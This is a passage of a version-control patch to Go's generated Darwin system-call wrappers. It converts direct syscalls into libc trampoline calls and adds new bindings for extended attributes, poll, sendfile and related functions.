-- _, _, e1 := Syscall6(SYS___SYSCTL, uintptr(_p0), uintptr(len(mib)), uintptr(unsafe.Pointer(old)), uintptr(unsafe.Pointer(oldlen)), uintptr(unsafe.Pointer(new)), uintptr(newlen))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
-+//go:linkname libc_kevent libc_kevent
-+//go:cgo_import_dynamic libc_kevent kevent "/usr/lib/libSystem.B.dylib"
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-@@ -236,34 +310,49 @@ func utimes(path string, timeval *[2]Timeval) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_UTIMES, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(timeval)), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_utimes_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(timeval)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_utimes_trampoline()
-+
-+//go:linkname libc_utimes libc_utimes
-+//go:cgo_import_dynamic libc_utimes utimes "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func futimes(fd int, timeval *[2]Timeval) (err error) {
-- _, _, e1 := Syscall(SYS_FUTIMES, uintptr(fd), uintptr(unsafe.Pointer(timeval)), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_futimes_trampoline), uintptr(fd), uintptr(unsafe.Pointer(timeval)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_futimes_trampoline()
-+
-+//go:linkname libc_futimes libc_futimes
-+//go:cgo_import_dynamic libc_futimes futimes "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func fcntl(fd int, cmd int, arg int) (val int, err error) {
-- r0, _, e1 := Syscall(SYS_FCNTL, uintptr(fd), uintptr(cmd), uintptr(arg))
-- val = int(r0)
-+func poll(fds *PollFd, nfds int, timeout int) (n int, err error) {
-+ r0, _, e1 := syscall_syscall(funcPC(libc_poll_trampoline), uintptr(unsafe.Pointer(fds)), uintptr(nfds), uintptr(timeout))
-+ n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_poll_trampoline()
-+
-+//go:linkname libc_poll libc_poll
-+//go:cgo_import_dynamic libc_poll poll "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Madvise(b []byte, behav int) (err error) {
-@@ -273,13 +362,18 @@ func Madvise(b []byte, behav int) (err error) {
- } else {
- _p0 = unsafe.Pointer(&_zero)
- }
-- _, _, e1 := Syscall(SYS_MADVISE, uintptr(_p0), uintptr(len(b)), uintptr(behav))
-+ _, _, e1 := syscall_syscall(funcPC(libc_madvise_trampoline), uintptr(_p0), uintptr(len(b)), uintptr(behav))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_madvise_trampoline()
-+
-+//go:linkname libc_madvise libc_madvise
-+//go:cgo_import_dynamic libc_madvise madvise "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Mlock(b []byte) (err error) {
-@@ -289,23 +383,33 @@ func Mlock(b []byte) (err error) {
- } else {
- _p0 = unsafe.Pointer(&_zero)
- }
-- _, _, e1 := Syscall(SYS_MLOCK, uintptr(_p0), uintptr(len(b)), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_mlock_trampoline), uintptr(_p0), uintptr(len(b)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_mlock_trampoline()
-+
-+//go:linkname libc_mlock libc_mlock
-+//go:cgo_import_dynamic libc_mlock mlock "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Mlockall(flags int) (err error) {
-- _, _, e1 := Syscall(SYS_MLOCKALL, uintptr(flags), 0, 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_mlockall_trampoline), uintptr(flags), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_mlockall_trampoline()
-+
-+//go:linkname libc_mlockall libc_mlockall
-+//go:cgo_import_dynamic libc_mlockall mlockall "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Mprotect(b []byte, prot int) (err error) {
-@@ -315,13 +419,18 @@ func Mprotect(b []byte, prot int) (err error) {
- } else {
- _p0 = unsafe.Pointer(&_zero)
- }
-- _, _, e1 := Syscall(SYS_MPROTECT, uintptr(_p0), uintptr(len(b)), uintptr(prot))
-+ _, _, e1 := syscall_syscall(funcPC(libc_mprotect_trampoline), uintptr(_p0), uintptr(len(b)), uintptr(prot))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_mprotect_trampoline()
-+
-+//go:linkname libc_mprotect libc_mprotect
-+//go:cgo_import_dynamic libc_mprotect mprotect "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Msync(b []byte, flags int) (err error) {
-@@ -331,13 +440,18 @@ func Msync(b []byte, flags int) (err error) {
- } else {
- _p0 = unsafe.Pointer(&_zero)
- }
-- _, _, e1 := Syscall(SYS_MSYNC, uintptr(_p0), uintptr(len(b)), uintptr(flags))
-+ _, _, e1 := syscall_syscall(funcPC(libc_msync_trampoline), uintptr(_p0), uintptr(len(b)), uintptr(flags))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_msync_trampoline()
-+
-+//go:linkname libc_msync libc_msync
-+//go:cgo_import_dynamic libc_msync msync "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Munlock(b []byte) (err error) {
-@@ -347,37 +461,52 @@ func Munlock(b []byte) (err error) {
- } else {
- _p0 = unsafe.Pointer(&_zero)
- }
-- _, _, e1 := Syscall(SYS_MUNLOCK, uintptr(_p0), uintptr(len(b)), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_munlock_trampoline), uintptr(_p0), uintptr(len(b)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_munlock_trampoline()
-+
-+//go:linkname libc_munlock libc_munlock
-+//go:cgo_import_dynamic libc_munlock munlock "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Munlockall() (err error) {
-- _, _, e1 := Syscall(SYS_MUNLOCKALL, 0, 0, 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_munlockall_trampoline), 0, 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_munlockall_trampoline()
-+
-+//go:linkname libc_munlockall libc_munlockall
-+//go:cgo_import_dynamic libc_munlockall munlockall "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func ptrace(request int, pid int, addr uintptr, data uintptr) (err error) {
-- _, _, e1 := Syscall6(SYS_PTRACE, uintptr(request), uintptr(pid), uintptr(addr), uintptr(data), 0, 0)
-+func getattrlist(path *byte, list unsafe.Pointer, buf unsafe.Pointer, size uintptr, options int) (err error) {
-+ _, _, e1 := syscall_syscall6(funcPC(libc_getattrlist_trampoline), uintptr(unsafe.Pointer(path)), uintptr(list), uintptr(buf), uintptr(size), uintptr(options), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_getattrlist_trampoline()
-+
-+//go:linkname libc_getattrlist libc_getattrlist
-+//go:cgo_import_dynamic libc_getattrlist getattrlist "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func pipe() (r int, w int, err error) {
-- r0, r1, e1 := RawSyscall(SYS_PIPE, 0, 0, 0)
-+ r0, r1, e1 := syscall_rawSyscall(funcPC(libc_pipe_trampoline), 0, 0, 0)
- r = int(r0)
- w = int(r1)
- if e1 != 0 {
-@@ -386,26 +515,282 @@ func pipe() (r int, w int, err error) {
- return
- }
-
-+func libc_pipe_trampoline()
-+
-+//go:linkname libc_pipe libc_pipe
-+//go:cgo_import_dynamic libc_pipe pipe "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func getxattr(path string, attr string, dest *byte, size int, position uint32, options int) (sz int, err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(attr)
-+ if err != nil {
-+ return
-+ }
-+ r0, _, e1 := syscall_syscall6(funcPC(libc_getxattr_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(unsafe.Pointer(dest)), uintptr(size), uintptr(position), uintptr(options))
-+ sz = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_getxattr_trampoline()
-+
-+//go:linkname libc_getxattr libc_getxattr
-+//go:cgo_import_dynamic libc_getxattr getxattr "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func fgetxattr(fd int, attr string, dest *byte, size int, position uint32, options int) (sz int, err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(attr)
-+ if err != nil {
-+ return
-+ }
-+ r0, _, e1 := syscall_syscall6(funcPC(libc_fgetxattr_trampoline), uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(dest)), uintptr(size), uintptr(position), uintptr(options))
-+ sz = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_fgetxattr_trampoline()
-+
-+//go:linkname libc_fgetxattr libc_fgetxattr
-+//go:cgo_import_dynamic libc_fgetxattr fgetxattr "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func setxattr(path string, attr string, data *byte, size int, position uint32, options int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(attr)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := syscall_syscall6(funcPC(libc_setxattr_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(unsafe.Pointer(data)), uintptr(size), uintptr(position), uintptr(options))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_setxattr_trampoline()
-+
-+//go:linkname libc_setxattr libc_setxattr
-+//go:cgo_import_dynamic libc_setxattr setxattr "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func fsetxattr(fd int, attr string, data *byte, size int, position uint32, options int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(attr)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := syscall_syscall6(funcPC(libc_fsetxattr_trampoline), uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(data)), uintptr(size), uintptr(position), uintptr(options))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_fsetxattr_trampoline()
-+
-+//go:linkname libc_fsetxattr libc_fsetxattr
-+//go:cgo_import_dynamic libc_fsetxattr fsetxattr "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func removexattr(path string, attr string, options int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(attr)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := syscall_syscall(funcPC(libc_removexattr_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(options))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_removexattr_trampoline()
-+
-+//go:linkname libc_removexattr libc_removexattr
-+//go:cgo_import_dynamic libc_removexattr removexattr "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func fremovexattr(fd int, attr string, options int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(attr)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := syscall_syscall(funcPC(libc_fremovexattr_trampoline), uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(options))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_fremovexattr_trampoline()
-+
-+//go:linkname libc_fremovexattr libc_fremovexattr
-+//go:cgo_import_dynamic libc_fremovexattr fremovexattr "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func listxattr(path string, dest *byte, size int, options int) (sz int, err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ r0, _, e1 := syscall_syscall6(funcPC(libc_listxattr_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(dest)), uintptr(size), uintptr(options), 0, 0)
-+ sz = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_listxattr_trampoline()
-+
-+//go:linkname libc_listxattr libc_listxattr
-+//go:cgo_import_dynamic libc_listxattr listxattr "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func flistxattr(fd int, dest *byte, size int, options int) (sz int, err error) {
-+ r0, _, e1 := syscall_syscall6(funcPC(libc_flistxattr_trampoline), uintptr(fd), uintptr(unsafe.Pointer(dest)), uintptr(size), uintptr(options), 0, 0)
-+ sz = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_flistxattr_trampoline()
-+
-+//go:linkname libc_flistxattr libc_flistxattr
-+//go:cgo_import_dynamic libc_flistxattr flistxattr "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func setattrlist(path *byte, list unsafe.Pointer, buf unsafe.Pointer, size uintptr, options int) (err error) {
-+ _, _, e1 := syscall_syscall6(funcPC(libc_setattrlist_trampoline), uintptr(unsafe.Pointer(path)), uintptr(list), uintptr(buf), uintptr(size), uintptr(options), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_setattrlist_trampoline()
-+
-+//go:linkname libc_setattrlist libc_setattrlist
-+//go:cgo_import_dynamic libc_setattrlist setattrlist "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func fcntl(fd int, cmd int, arg int) (val int, err error) {
-+ r0, _, e1 := syscall_syscall(funcPC(libc_fcntl_trampoline), uintptr(fd), uintptr(cmd), uintptr(arg))
-+ val = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_fcntl_trampoline()
-+
-+//go:linkname libc_fcntl libc_fcntl
-+//go:cgo_import_dynamic libc_fcntl fcntl "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func kill(pid int, signum int, posix int) (err error) {
-- _, _, e1 := Syscall(SYS_KILL, uintptr(pid), uintptr(signum), uintptr(posix))
-+ _, _, e1 := syscall_syscall(funcPC(libc_kill_trampoline), uintptr(pid), uintptr(signum), uintptr(posix))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_kill_trampoline()
-+
-+//go:linkname libc_kill libc_kill
-+//go:cgo_import_dynamic libc_kill kill "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func ioctl(fd int, req uint, arg uintptr) (err error) {
-- _, _, e1 := Syscall(SYS_IOCTL, uintptr(fd), uintptr(req), uintptr(arg))
-+ _, _, e1 := syscall_syscall(funcPC(libc_ioctl_trampoline), uintptr(fd), uintptr(req), uintptr(arg))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_ioctl_trampoline()
-+
-+//go:linkname libc_ioctl libc_ioctl
-+//go:cgo_import_dynamic libc_ioctl ioctl "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func sysctl(mib []_C_int, old *byte, oldlen *uintptr, new *byte, newlen uintptr) (err error) {
-+ var _p0 unsafe.Pointer
-+ if len(mib) > 0 {
-+ _p0 = unsafe.Pointer(&mib[0])
-+ } else {
-+ _p0 = unsafe.Pointer(&_zero)
-+ }
-+ _, _, e1 := syscall_syscall6(funcPC(libc_sysctl_trampoline), uintptr(_p0), uintptr(len(mib)), uintptr(unsafe.Pointer(old)), uintptr(unsafe.Pointer(oldlen)), uintptr(unsafe.Pointer(new)), uintptr(newlen))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_sysctl_trampoline()
-+
-+//go:linkname libc_sysctl libc_sysctl
-+//go:cgo_import_dynamic libc_sysctl sysctl "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func sendfile(infd int, outfd int, offset int64, len *int64, hdtr unsafe.Pointer, flags int) (err error) {
-+ _, _, e1 := syscall_syscall6(funcPC(libc_sendfile_trampoline), uintptr(infd), uintptr(outfd), uintptr(offset), uintptr(unsafe.Pointer(len)), uintptr(hdtr), uintptr(flags))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_sendfile_trampoline()
-+
-+//go:linkname libc_sendfile libc_sendfile
-+//go:cgo_import_dynamic libc_sendfile sendfile "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Access(path string, mode uint32) (err error) {
-@@ -414,23 +799,33 @@ func Access(path string, mode uint32) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_ACCESS, uintptr(unsafe.Pointer(_p0)), uintptr(mode), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_access_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(mode), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_access_trampoline()
-+
-+//go:linkname libc_access libc_access
-+//go:cgo_import_dynamic libc_access access "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Adjtime(delta *Timeval, olddelta *Timeval) (err error) {
-- _, _, e1 := Syscall(SYS_ADJTIME, uintptr(unsafe.Pointer(delta)), uintptr(unsafe.Pointer(olddelta)), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_adjtime_trampoline), uintptr(unsafe.Pointer(delta)), uintptr(unsafe.Pointer(olddelta)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_adjtime_trampoline()
-+
-+//go:linkname libc_adjtime libc_adjtime
-+//go:cgo_import_dynamic libc_adjtime adjtime "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Chdir(path string) (err error) {
-@@ -439,13 +834,18 @@ func Chdir(path string) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_CHDIR, uintptr(unsafe.Pointer(_p0)), 0, 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_chdir_trampoline), uintptr(unsafe.Pointer(_p0)), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_chdir_trampoline()
-+
-+//go:linkname libc_chdir libc_chdir
-+//go:cgo_import_dynamic libc_chdir chdir "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Chflags(path string, flags int) (err error) {
-@@ -454,13 +854,18 @@ func Chflags(path string, flags int) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_CHFLAGS, uintptr(unsafe.Pointer(_p0)), uintptr(flags), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_chflags_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(flags), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_chflags_trampoline()
-+
-+//go:linkname libc_chflags libc_chflags
-+//go:cgo_import_dynamic libc_chflags chflags "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Chmod(path string, mode uint32) (err error) {
-@@ -469,13 +874,18 @@ func Chmod(path string, mode uint32) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_CHMOD, uintptr(unsafe.Pointer(_p0)), uintptr(mode), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_chmod_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(mode), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_chmod_trampoline()
-+
-+//go:linkname libc_chmod libc_chmod
-+//go:cgo_import_dynamic libc_chmod chmod "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Chown(path string, uid int, gid int) (err error) {
-@@ -484,13 +894,18 @@ func Chown(path string, uid int, gid int) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_CHOWN, uintptr(unsafe.Pointer(_p0)), uintptr(uid), uintptr(gid))
-+ _, _, e1 := syscall_syscall(funcPC(libc_chown_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(uid), uintptr(gid))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_chown_trampoline()
-+
-+//go:linkname libc_chown libc_chown
-+//go:cgo_import_dynamic libc_chown chown "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Chroot(path string) (err error) {
-@@ -499,27 +914,52 @@ func Chroot(path string) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_CHROOT, uintptr(unsafe.Pointer(_p0)), 0, 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_chroot_trampoline), uintptr(unsafe.Pointer(_p0)), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_chroot_trampoline()
-+
-+//go:linkname libc_chroot libc_chroot
-+//go:cgo_import_dynamic libc_chroot chroot "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func ClockGettime(clockid int32, time *Timespec) (err error) {
-+ _, _, e1 := syscall_syscall(funcPC(libc_clock_gettime_trampoline), uintptr(clockid), uintptr(unsafe.Pointer(time)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_clock_gettime_trampoline()
-+
-+//go:linkname libc_clock_gettime libc_clock_gettime
-+//go:cgo_import_dynamic libc_clock_gettime clock_gettime "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Close(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_CLOSE, uintptr(fd), 0, 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_close_trampoline), uintptr(fd), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_close_trampoline()
-+
-+//go:linkname libc_close libc_close
-+//go:cgo_import_dynamic libc_close close "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Dup(fd int) (nfd int, err error) {
-- r0, _, e1 := Syscall(SYS_DUP, uintptr(fd), 0, 0)
-+ r0, _, e1 := syscall_syscall(funcPC(libc_dup_trampoline), uintptr(fd), 0, 0)
- nfd = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -527,16 +967,26 @@ func Dup(fd int) (nfd int, err error) {
- return
- }
-
-+func libc_dup_trampoline()
-+
-+//go:linkname libc_dup libc_dup
-+//go:cgo_import_dynamic libc_dup dup "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Dup2(from int, to int) (err error) {
-- _, _, e1 := Syscall(SYS_DUP2, uintptr(from), uintptr(to), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_dup2_trampoline), uintptr(from), uintptr(to), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_dup2_trampoline()
-+
-+//go:linkname libc_dup2 libc_dup2
-+//go:cgo_import_dynamic libc_dup2 dup2 "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Exchangedata(path1 string, path2 string, options int) (err error) {
-@@ -550,20 +1000,30 @@ func Exchangedata(path1 string, path2 string, options int) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_EXCHANGEDATA, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(options))
-+ _, _, e1 := syscall_syscall(funcPC(libc_exchangedata_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(options))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_exchangedata_trampoline()
-+
-+//go:linkname libc_exchangedata libc_exchangedata
-+//go:cgo_import_dynamic libc_exchangedata exchangedata "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Exit(code int) {
-- Syscall(SYS_EXIT, uintptr(code), 0, 0)
-+ syscall_syscall(funcPC(libc_exit_trampoline), uintptr(code), 0, 0)
- return
- }
-
-+func libc_exit_trampoline()
-+
-+//go:linkname libc_exit libc_exit
-+//go:cgo_import_dynamic libc_exit exit "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Faccessat(dirfd int, path string, mode uint32, flags int) (err error) {
-@@ -572,43 +1032,63 @@ func Faccessat(dirfd int, path string, mode uint32, flags int) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall6(SYS_FACCESSAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(flags), 0, 0)
-+ _, _, e1 := syscall_syscall6(funcPC(libc_faccessat_trampoline), uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(flags), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_faccessat_trampoline()
-+
-+//go:linkname libc_faccessat libc_faccessat
-+//go:cgo_import_dynamic libc_faccessat faccessat "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Fchdir(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_FCHDIR, uintptr(fd), 0, 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_fchdir_trampoline), uintptr(fd), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_fchdir_trampoline()
-+
-+//go:linkname libc_fchdir libc_fchdir
-+//go:cgo_import_dynamic libc_fchdir fchdir "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Fchflags(fd int, flags int) (err error) {
-- _, _, e1 := Syscall(SYS_FCHFLAGS, uintptr(fd), uintptr(flags), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_fchflags_trampoline), uintptr(fd), uintptr(flags), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_fchflags_trampoline()
-+
-+//go:linkname libc_fchflags libc_fchflags
-+//go:cgo_import_dynamic libc_fchflags fchflags "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Fchmod(fd int, mode uint32) (err error) {
-- _, _, e1 := Syscall(SYS_FCHMOD, uintptr(fd), uintptr(mode), 0)
